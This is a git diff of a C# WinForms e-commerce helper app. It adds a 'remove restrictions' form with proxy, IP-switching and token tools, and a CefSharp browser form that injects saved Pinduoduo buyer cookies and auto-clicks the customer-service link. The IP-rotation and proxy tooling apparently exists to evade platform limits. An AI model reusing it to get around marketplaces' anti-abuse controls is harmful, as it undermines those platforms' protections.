this.pbLoginTaobao.Click += new System.EventHandler(this.pbLoginTaobao_Click); + // + // SystemRemoveRestrictionsForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 17F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.label6); + this.Controls.Add(this.label7); + this.Controls.Add(this.pbAgentIp); + this.Controls.Add(this.label5); + this.Controls.Add(this.label4); + this.Controls.Add(this.label3); + this.Controls.Add(this.label2); + this.Controls.Add(this.label13); + this.Controls.Add(this.lbManageToken); + this.Controls.Add(this.pbManageToken); + this.Controls.Add(this.lbLogin1688); + this.Controls.Add(this.pbLogin1688); + this.Controls.Add(this.lbLoginPdd); + this.Controls.Add(this.pbLoginPdd); + this.Controls.Add(this.lbAdsl); + this.Controls.Add(this.pbAdsl); + this.Controls.Add(this.lbLoginTaobao); + this.Controls.Add(this.pbLoginTaobao); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "SystemRemoveRestrictionsForm"; + this.Text = "解除限制"; + ((System.ComponentModel.ISupportInitialize)(this.pbAgentIp)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbManageToken)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbLogin1688)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbLoginPdd)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbAdsl)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbLoginTaobao)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Label label6; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.PictureBox pbAgentIp; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label13; + private System.Windows.Forms.Label lbManageToken; + private System.Windows.Forms.PictureBox pbManageToken; + private System.Windows.Forms.Label lbLogin1688; + private System.Windows.Forms.PictureBox pbLogin1688; + private System.Windows.Forms.Label lbLoginPdd; + private System.Windows.Forms.PictureBox pbLoginPdd; + private System.Windows.Forms.Label lbAdsl; + private System.Windows.Forms.PictureBox pbAdsl; + private System.Windows.Forms.Label lbLoginTaobao; + private System.Windows.Forms.PictureBox pbLoginTaobao; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SystemForms/SystemRemoveRestrictionsForm.cs b/TEMUKJD/KJDForms/SystemForms/SystemRemoveRestrictionsForm.cs new file mode 100644 index 0000000..51e08ca --- /dev/null +++ b/TEMUKJD/KJDForms/SystemForms/SystemRemoveRestrictionsForm.cs @@ -0,0 +1,62 @@ +using LittleRabbit.LittleRabbitForms.ToolForms; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.SystemForms +{ + public partial class SystemRemoveRestrictionsForm : Form + { + ChangeIPForm changeIPForm = new ChangeIPForm(); + + public SystemRemoveRestrictionsForm() + { + InitializeComponent(); + } + + private void pbLogin1688_Click(object sender, EventArgs e) + { + IeForm tbForm = new IeForm("https://work.1688.com/"); + tbForm.Show(); + } + + private void pbLoginTaobao_Click(object sender, EventArgs e) + { + //IeForm tbForm = new IeForm("https://i.taobao.com/my_taobao.htm"); + //tbForm.Show(); + + if (TaobaoLoginForm.instance != null) + TaobaoLoginForm.instance.Show(); + else + new TaobaoLoginForm().Show(); + } + + private void pbManageToken_Click(object sender, EventArgs e) + { + TokenNewForm tokenForm = new TokenNewForm(); + tokenForm.Show(); + } + + private void pbAgentIp_Click(object sender, EventArgs e) + { + ProxyForm proxyForm = new ProxyForm(); + proxyForm.Show(); + } + + private void pbAdsl_Click(object sender, EventArgs e) + { + changeIPForm.Show(); + } + + private void pbLoginPdd_Click(object sender, EventArgs e) + { + + } + } +} diff --git a/TEMUKJD/KJDForms/SystemForms/SystemRemoveRestrictionsForm.resx b/TEMUKJD/KJDForms/SystemForms/SystemRemoveRestrictionsForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/SystemForms/SystemRemoveRestrictionsForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/CefForm.Designer.cs b/TEMUKJD/KJDForms/ToolForms/CefForm.Designer.cs new file mode 100644 index 0000000..401c292 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/CefForm.Designer.cs @@ -0,0 +1,105 @@ +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + partial class CefForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(CefForm)); + this.btnChangeBuyer = new DevComponents.DotNetBar.PanelEx(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.SuspendLayout(); + // + // btnChangeBuyer + // + this.btnChangeBuyer.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnChangeBuyer.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnChangeBuyer.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnChangeBuyer.DisabledBackColor = System.Drawing.Color.Empty; + this.btnChangeBuyer.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnChangeBuyer.Location = new System.Drawing.Point(1195, 3); + this.btnChangeBuyer.Name = "btnChangeBuyer"; + this.btnChangeBuyer.Size = new System.Drawing.Size(80, 23); + this.btnChangeBuyer.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnChangeBuyer.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnChangeBuyer.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnChangeBuyer.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnChangeBuyer.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnChangeBuyer.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnChangeBuyer.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnChangeBuyer.Style.GradientAngle = 90; + this.btnChangeBuyer.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnChangeBuyer.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnChangeBuyer.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnChangeBuyer.TabIndex = 431; + this.btnChangeBuyer.Text = "切换买手"; + this.btnChangeBuyer.Click += new System.EventHandler(this.btnChangeBuyer_Click); + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.White; + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(1, 33); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.btnChangeBuyer); + this.splitContainer1.Size = new System.Drawing.Size(1278, 686); + this.splitContainer1.SplitterDistance = 26; + this.splitContainer1.TabIndex = 432; + // + // CefForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(1280, 720); + this.Controls.Add(this.splitContainer1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "CefForm"; + this.ShowMaximizeBox = true; + this.Text = "CefForm"; + this.TitleText = "CefForm"; + this.Load += new System.EventHandler(this.CefForm_Load); + this.Controls.SetChildIndex(this.splitContainer1, 0); + this.splitContainer1.Panel1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private DevComponents.DotNetBar.PanelEx btnChangeBuyer; + private System.Windows.Forms.SplitContainer splitContainer1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/CefForm.cs b/TEMUKJD/KJDForms/ToolForms/CefForm.cs new file mode 100644 index 0000000..600a6b1 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/CefForm.cs @@ -0,0 +1,195 @@ +using CefSharp; +using CefSharp.WinForms; +using LittleRabbit.DashBoardForms; +using LittleRabbit.Helper; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using NaiBa.Util; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + public partial class CefForm : BaseForms.LRBaseForm + { + ChromiumWebBrowser cefWebBrowser = null; + + string Url = ""; + string PddBuyerCookie = ""; + List Cookies = new List(); + public CefForm(string url = "", List cookies = null) + { + InitializeComponent(); + + Url = url; + if (cookies != null) + Cookies = cookies; + + if (url.Contains("yangkeduo.com/goods.html")) + { + this.Height = 720; + this.Width = 400; + this.StartPosition = FormStartPosition.CenterScreen; + } + } + + private void CefForm_Load(object sender, EventArgs e) + { + this.StartPosition = FormStartPosition.CenterScreen; + this.splitContainer1.Panel1Collapsed = true; + + if (string.IsNullOrEmpty(Url)) + { + Url = "about:blank"; + this.TitleText = "空白页"; + } + else + { + var id = AllBase.BaseRegex.GetMatchRegexString(ref Url, "(\\d{5,30})"); + if (!string.IsNullOrEmpty(id)) + this.TitleText = id; + else + this.TitleText = Url; + } + + if (cefWebBrowser == null) + { + cefWebBrowser = CEFBrowser.CreateChromiumWebBrowser("about:blank", false); + var lifeHandler = new LifeSpanHandlerLocal(PopWindowType.NewTitleWindow); + lifeHandler.OnPop += LifeHandler_OnPop; + lifeHandler.parent = cefWebBrowser; + cefWebBrowser.LifeSpanHandler = lifeHandler; + cefWebBrowser.KeyboardHandler = new KeyboardHandler(); + cefWebBrowser.FrameLoadEnd += CefWebBrowser_FrameLoadEnd; + cefWebBrowser.Dock = DockStyle.Fill; + this.splitContainer1.Panel2.Controls.Add(cefWebBrowser); + } + + Task.Run(() => + { + while (cefWebBrowser.IsLoading) + Thread.Sleep(50); + + var newCookieList = new List(); + + foreach (var cook in Cookies) + { + var t1 = CEFBrowser.SetCookieAsync(cook.Domain.Trim('.'), cook.Name + "=" + cook.Value + ";", cefWebBrowser.RequestContext.GetCookieManager(null)); + t1.Wait(2500); + } + + if (Url.Contains("yangkeduo.com/goods.html")) + { + Invoke(new Action(() => + { + this.splitContainer1.Panel1Collapsed = false; + })); + + PddBuyerCookie = NaiBa.Util.Helper.ConfigHelper.LoadConfig>("chat_buyer_cookies")?.FirstOrDefault(); + if (!string.IsNullOrEmpty(PddBuyerCookie)) + { + var cookieArr = PddBuyerCookie.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); + foreach (var cookie in cookieArr) + { + newCookieList.Add(new Cookie + { + Domain = "mobile.yangkeduo.com", + Name = cookie.Split('=').FirstOrDefault(), + Value = cookie.Split('=').LastOrDefault(), + Expires = DateTime.Now.AddYears(1).AddHours(-8), + Path = "/" + }); + } + } + } + if (PddBuyerCookie != null) + { + var t2 = CEFBrowser.SetCookieAsync("mobile.yangkeduo.com", PddBuyerCookie, cefWebBrowser.RequestContext.GetCookieManager(null)); + t2.Wait(2500); + } + Thread.Sleep(500); + cefWebBrowser.Load(Url); + }); + } + + bool isOpenKefu = false; + private void CefWebBrowser_FrameLoadEnd(object sender, CefSharp.FrameLoadEndEventArgs e) + { + if (e.Url.Contains("yangkeduo.com/goods.html")) + { + Task.Run(() => + { + var task = cefWebBrowser.GetBrowser().MainFrame.GetSourceAsync(); + task.Wait(); + if (task.Result?.Contains("login-box") == true) + return; + + var cookies = CEFBrowser.GetCookie("yangkeduo.com", cefWebBrowser.RequestContext.GetCookieManager(null)); + if (cookies != PddBuyerCookie) + NaiBa.Util.Helper.ConfigHelper.SaveConfig("chat_buyer_cookies", new List() { cookies }); + + // 找到上家商品后自动跳转到客服聊天 + if (!isOpenKefu) + { + isOpenKefu = true; + var jsStrBase = "function clickProductAnalysis(txt) {\r\n" + + "var child = document.body.firstElementChild;\r\n" + + "var element1 = null;\r\n" + + " while (child) {\r\n" + + " if (child.innerHTML.indexOf(txt) >= 0) {\r\n" + + " element1 = child;\r\n" + + " if (child.firstElementChild) {\r\n" + + " child = child.firstElementChild; continue;\r\n" + + " } else break;\r\n" + + " }\r\n" + + " child = child.nextElementSibling;\r\n" + + " }\r\n" + + " if (element1) {\r\n" + + " element1.click(); return 'success';\r\n" + + " } else return 'no_element';\r\n" + + "}\r\n"; + var jsStr = jsStrBase + "clickProductAnalysis('客服');\r\n"; + var t = cefWebBrowser.GetMainFrame().EvaluateScriptAsync(jsStr); + t.Wait(); + } + }); + } + } + + private void LifeHandler_OnPop(object sender, PopData e) + { + var targetUrl = e.Url; + var lifeHandler = sender as LifeSpanHandlerLocal; + + Task.Run(() => + { + if (lifeHandler.parent != null) + { + var cookies = CEFBrowser.GetCookieList("", lifeHandler.parent.RequestContext.GetCookieManager(null)); + Invoke(new Action(() => + { + CefForm cefForm = new CefForm(targetUrl, cookies); + cefForm.Show(); + })); + } + }); + } + + private void btnChangeBuyer_Click(object sender, EventArgs e) + { + if (cefWebBrowser != null) + { + CEFBrowser.DeleteCookie(this.cefWebBrowser.RequestContext.GetCookieManager(default)); + this.cefWebBrowser.Reload(); + } + } + } +} diff --git a/TEMUKJD/KJDForms/ToolForms/CefForm.resx b/TEMUKJD/KJDForms/ToolForms/CefForm.resx new file mode 100644 index 0000000..03e4c89 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/CefForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQVQAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMd3d3d3d3d3 + d3d3fMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMd3d3iIiIiI + iIiIiIiIiIh3d3d8zMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMx3eIiIiI + iIiIiIiIiIiIiIiIiIiIiHd8zMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMd4iI + iIiIiIiIiIiIiIiIiIiIiIiIiIiIiHfMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzH + eIiIiIiIiIiHZmZmZmZmZmZmZ3eIiIiIiIiIiHzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzHiIiIiIiHZmZmZmZmZmZmZmZmZmZmZmZmeIiIiIiIfMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzHiIiIiIdmZmZmZgAAAAAAAAAAAAZmZmZmZmZmeIiIiIh8zMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzHiIiIiHZmZgAAAAAAAAAAAAEAAAAAAAAAAGZmZmZniIiIiHzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMeIiIiGZmAAAAAAERERmZmZmZmZmZkRERERAAAGZmZmZ4iIiIfMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMeIiIiGZgAAAAERmZmZmZmZmZmZmZmZmZmZmZkREAAGZmZniIiIfMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzIiIiHYAAAARGZmZiIiIj///////+IiIiIeZmZmZkREAZmZmiIiIfMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzO6IiIYAAAARmYiI/////////////////////4iHmZmZEQBmZmeI + iIh8zMzMzMzMzMzGAAAABMzMzMzMzMzMzMeIiIdgAAAZmI////////////////////////////iJmZmR + EGZmZ4iIh8zMzMzMzMzMzEAAAAbMzMzMzMzMzMzoiIhwAAAZeP////////////////////////////// + /4iZmZEAZmZ4iIh8zMzMzMzMzMxgAABMzMzMzMzMzMzOiIiGAAABiP////////////////////////// + ////////+JmZkQZmZ4iIh8zMzMzMzMzMxAAAbMzMzMzMzMzM7oiIYAABeP////////////////////// + ///////////////4mZkQZmZ4iIjMzMzMzMzMzMYAAMzMzMzMzMzMzu6IhwAAGP////////////////// + /////////////////////4iZmRZmZ4iIfMzMzMzMzMzMAAbMzMzMzMzMzM7oiHAAB4////////////// + ////////////////////////////iZmRBmZ4iIfMzMzMzMzMzGAGzMzMzMzMzMzuiIcAAHj///////// + //////////////////////////////////iZmRZmZ4iIzMzMzMzMzMxgDMzMzMzMzMzM7ohwAAf///// + ////////////////////////////////////////95mRZmaIiHzMzMzMzMzMwEzMzMzMzMzMzuiIEABo + //////////////////////////////////////////////95mRZmaIiMzMzMzMzMzMRszMzMzMzMzM7o + hwAGj///////////////////////////////////////////////95kQZmeIh8zMzMzMzMzGbMzMzMzM + zMzu6HEAB/////////////////////////////////////////////////+ZkQZmiIjMzMzMzMzMxmzM + zMzMzMzM7ohwAGj/////////////////////////////////////////////////iZkWZniIfMzMzMzM + zMZszMzMzMzMxu6HEAbv/4iI/////////////////////////////////////////4iP//iZEGZoiHzM + zMzMzMzGbMzMzMzMzM7uhxAGj/iIiIj//////////////////////////////////////4iIiI//mZFm + aIiMzMzMzMzMxszMzMzMzMzO6IEAbv+IiIiIj/////////////////////////////////////iIiIiP + /4mRBmeIh8zMzMzMzMbMzMzMzMzMbuhxAG7/iIiIiI////////////////iIj///j//////////////4 + iIiIiP/5mQZmiIfMzMzMzMzMzMzMzMzMzO7ocQDo+IiIiIiP///////////////u7u7u7u7o//////// + ////iIiIiIj/+JkWZoiHzMzMzMzMzMzMzMzMzMzu6BEG7/iIiIiIj/////////////+Hd3ju5maO7v// + /////////4iIiIiI//iZEGaIh8zMzMzMzMzMzMzMzMzM7ugRBu//iIiIiI//////////////kZmZdmAZ + mP/////////////4iIiIiP//mRBmeIjMzMzMzMzMzMzMzMzMzO7nEAbv/4iIiIiP////////////+HiI + mZEBd5n/////////////+IiIiIj//4mQZniIzMzMzMzMzMzMzMzMzMzu5xAO7//4iIiI//ju7o////// + //j//4mZeP/4//////////////iIiIiP//+JkGZ4iHzMzMzMzMzMzMzMzMzG7ocQDu///4iI//ju7u7u + j//////////4mP//////////////7u7uiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzu6HEG7v//////+G + ZmZ47u7//////////4//////////////7u7u7u6P/////4mQBmiIfMzMzMzMzMzMzMzMzM7uhRBu7/// + ///3AAAAF37u7///////////////////////h2AABm7u7v/////5kAZ4iHzMzMzMzMzMzMzMzMzO7oUQ + bu//////gQAAZgEG7u//////////////////////+BAAAAAFfu6P////+ZAGeIjMzMzMzMzMzMzMzMzM + zu6FEG7v////+JEAAXhwAG7o/////////////////////4gAABEGARbu7/////kQBoiIzMzMzMzMzMzM + zMzMzM7uhRBu7/////iZABmZkQBm6P////////////////////+JABGZF2AAbo////+JEGaIiMzMzMzM + zMzMzMzMzMzO7ucRbu/////4mRZ4iZkQBu//////////////////////mQB5mZdgAG7/////iRBmiIfM + zMzMzMzMzMzMzMzMxu7nEQ7v////+Bl+j/iZEAaP/////////////////////5l2/4mRAABu/////4kQ + ZoiHzMzMzMzMzMzMzMzMzMzu5xEO6P//+Phgbu/4kQAI//////////////////////+Zfo/4kQAAeIiP + //+JEGaIh8zMzMzMzMzMzMzMzMzM7ucRBu7///iOYHiI+HAAf///////////////////////mYjv+BAA + BuiIj///iQBniIfMzMzMzMzMzMzMzMzMzO7nEQbu///3EAAG6IcRF4iP/////////////////////4GP + /4cQAAZnbv///5EAaIiMzMzMzMzMzMzMzMzMzMzu5xEW7v//iRF3dmZgAXjmj/////////////////// + ///3ePiBEQAHdm7///iRAGiIfMzMzMzMzMzMzMzMzMzM7u5xFu6P/5EZmXZmZmbmaP////////////// + ///////4/4d2cRAAFwbuj//4kQZoiHzMzMzMzMzMzMzMzMzMzG7ucRDu7/iXiZkQAAZmAH////////// + ////////////+IiIdmYABmAX//j/+BAGeIh8zMzMzMzMzMzMzMzMzMzO7nEQbu/4iP+BERkREZf///// + //////////////////+JmXdxEBEAB3////kQBoiIzMzMzMzMzMzMzMzMzMzMzu5xEW7o+P//gZmZmZmP + ////////////////////////+JmZmZmZl453//+JAGaIh8zMzMzMzMzMzMzMzMzMzM7u5xEO7vj/+IeP + iIj////////////////////////////4iZmZmZiPiP//cQBoiIfMzMzMzMzMzMzMzMzMzMzM7ucRFu6P + //iP//////////////////////////////////////+Jn/j/+JAAaIiMzMzMzMzMzMzMzMzMzMzMzO7n + ERbu7//4/////////////////////////////////////////4j///gQBoiIfMzMzMzMzMzMzMzMzMzM + zMzu7nERbuj////////////////////////////////////////////4//+BAAaIiMzMzMzMzMzMzMzM + zMzMzMzMzu5xEW7u////////////////////////////////////////////////cQBoiIfMzMzMzMzM + zMzMzMzMzMzMzM7u5xEW7u//////////////////////////////////////////////+BAAaIiMzMzM + zMzMzMzMzMzMzMzMzMzO7uYREO7o//7v//////////////////////////////////////////cABoiI + fMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7oj/7o////////////////////////////////////////9x + AAeIiMzMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7nePju7u7v//////////////////////////////// + 6P/4EAB4iIfMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERBu7nmIiO7oj/////////////////////////// + ju7u7o//hwAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERbu7nmZl5eP////////////////////// + ///4iPiO5nj/+HAAaIiIzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7nERbu7oiZeI////////////////// + ////////+ImXd5mP/4cAAHiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERbu7v//////////////// + ///////////////4iZl4//hgAAeIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERBu7v////////// + //////////////////////////+GAAB4iI7MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7uiHEADujv//// + ///////////////////////////////3AAAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7ohwABmP + ////////////////////////////////////iREAZniIjMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzuiI + EAB4f///////////////////////////////////+JmZkWZoiIfMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zO6IhwBo//////////////////////////////////////iImZl2ZoiIzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzuiHAA7////////////////////////////////////////4iZFmZ4iHzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzO6IgQBo/////4j///////////////////////////////////mZFmaIiMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzuiHAA7/////iIiP//////7o//////////////////iI/////4mRZmeIh8zMzMzM + zMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiI/////+7u7u7uiIiI7u7v////iIiI/////5mRZmiIjM + zMzMzMzMzMzMzMzMzMzMzMzMzMzuiHAA7////4iIiIiIj//3d2bu7u7u7u7u7u7//4iIiIiP////+JkW + ZniIfMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI//+ZkAAGZmZmZmZmbv//iIiIiIiP// + //+ZkWZoiIzMzMzMzMzMzMzMzMzMzMzMzMzMzuiFAG7////4iIiIiIj///iZABEREREREBAG7//4iIiI + iIj/////iZFmaIiMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI///4kQARERERERERDo// + +IiIiIiIj/////mZBmeIh8zMzMzMzMzMzMzMzMzMzMzMzMzuiHAG7////4iIiIiIiP//+JFmeHd3d3dx + EW6P//iIiIiIiI/////4mRZmiIfMzMzMzMzMzMzMzMzMzMzMzMzO7ocQBo////+IiIiIiIj///iQZoiO + 7u7u5xFu7//4iIiIiIiI////+JkWZniIzMzMzMzMzMzMzMzMzMzMzMzMzuiHEA7////4iIiIiIiP///5 + kGaIju7u7ucRbu///4iIiIiIiP////95kGZ4iHzMzMzMzMzMzMzMzMzMzMzMzM7ogQBu////+IiIiIiI + j///+RBmiI7u7u7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzMzMzMzMzMzu6HEAaP////iI + iIiIiI////kQZoiHzMzu5xEO6P//iIiIiIiIj////4mRZmiIjMzMzMzMzMzMzMzMzMzMzMzM7ugRBu// + ///4iIiIiIj///+JEGaIh8zM7ucRBu7//4iIiIiIiI/////5kQZniIzMzMzMzMzMzMzMzMzMzMzMzO6I + EAbv////iIiIiIiI////iQBniIzMzO7oERbu///4iIiIiIiP////+JkGZ4iHzMzMzMzMzMzMzMzMzMzM + zMbuhxAGj////4iIiIiIj////3kAaIiMzMzu7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzM + zMzMzMzO7oUQbv////+IiIiIiI////+RBmiIfMzMzu5xFu6P//+IiIiIiIj////4mRZmiIfMzMzMzMzM + zMzMzMzMzMzMzu6BAG7////4iIiIiIj////4kQZoiHzMzM7ucRDu7///iIiIiIiIj////5kQZoiHzMzM + zMzMzMzMzMzMzMzMzM7ocQBu////+IiIiIiI////+JAGeIh8zMzO7nERbu///4iIiIiIiI////95EGaI + h8zMzMzMzMzMzMzMzMzMzMxu6HEA7v////iIiIiIiP////cQBoiIzMzMzu7lEW7v///4iIiIiIiP//// + iRBmeIjMzMzMzMzMzMzMzMzMzMzM7uhxBuj////4iIiIiI/////5EAaIiMzMzMbu5xEO7v//+IiIiIiI + j////4kQZniIzMzMzMzMzMzMzMzMzMzMzO7oEQbv////+IiIiIj/////iQBmiIfMzMzM7ucRBu7///iI + iIiIiIj///+JkGZ4iMzMzMzMzMzMzMzMzMzMzMzu6BEG7/////iIiIiI/////4EAaIiHzMzMzO7nERbu + j///iIiIiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzMzM7ucRBu/////4iIiIj/////+RAGiIjMzMzMzu + 7nEQ7u////iIiIiIiP///4mQBmiIfMzMzMzMzMzMzMzMzMzMzO7nEAbv////+IiIiP/////4EAZ4iHzM + zMzMzu5xEG7v///4iIiIiIj///+JkAZoiHzMzMzMzMzMxmzMzMzMzMzu5xAO7/////+IiI//////+RAG + iIjMzMzMzM7ucRFu7v///4iIiIiI////+ZAGaIh8zMzMzMzMzMZszMzMzMzG7ocQDu//////+I////// + 